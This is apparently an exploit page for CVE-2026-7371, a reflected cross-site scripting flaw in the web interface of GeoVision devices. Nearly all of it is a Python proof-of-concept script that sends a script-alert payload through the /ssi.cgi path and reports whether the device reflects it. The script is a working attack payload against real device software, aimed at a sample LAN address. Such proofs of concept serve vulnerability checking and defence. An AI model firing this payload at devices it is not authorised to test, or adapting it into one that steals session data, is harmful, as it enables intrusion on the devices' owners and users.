CVE-2026-7371 GeoVision设备Web接口反射型XSS漏洞

import requests def check_xss_vulnerability(target_ip): """ Proof of Concept (PoC) for CVE-2026-7371. This script checks if the target is vulnerable to Reflected XSS via /ssi.cgi. """ # The vulnerability is triggered by accessing a non-existing page # which reflects the path in the error message. payload = "<script>alert('CVE-2026-7371_PoC')</script>" # Construct the malicious URL # Assuming default web interface port and path base_url = f"http://{target_ip}" attack_url = f"{base_url}/ssi.cgi/{payload}" try: print(f"[*] Sending request to: {attack_url}") response = requests.get(attack_url, timeout=5) # Check if the payload is reflected in the response body if payload in response.text: print("[+] Vulnerability Confirmed! The payload was reflected in the response.") print("[+] Potential for arbitrary JavaScript execution exists.") return True else: print("[-] Vulnerability not detected or payload was sanitized.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.1.100" check_xss_vulnerability(target)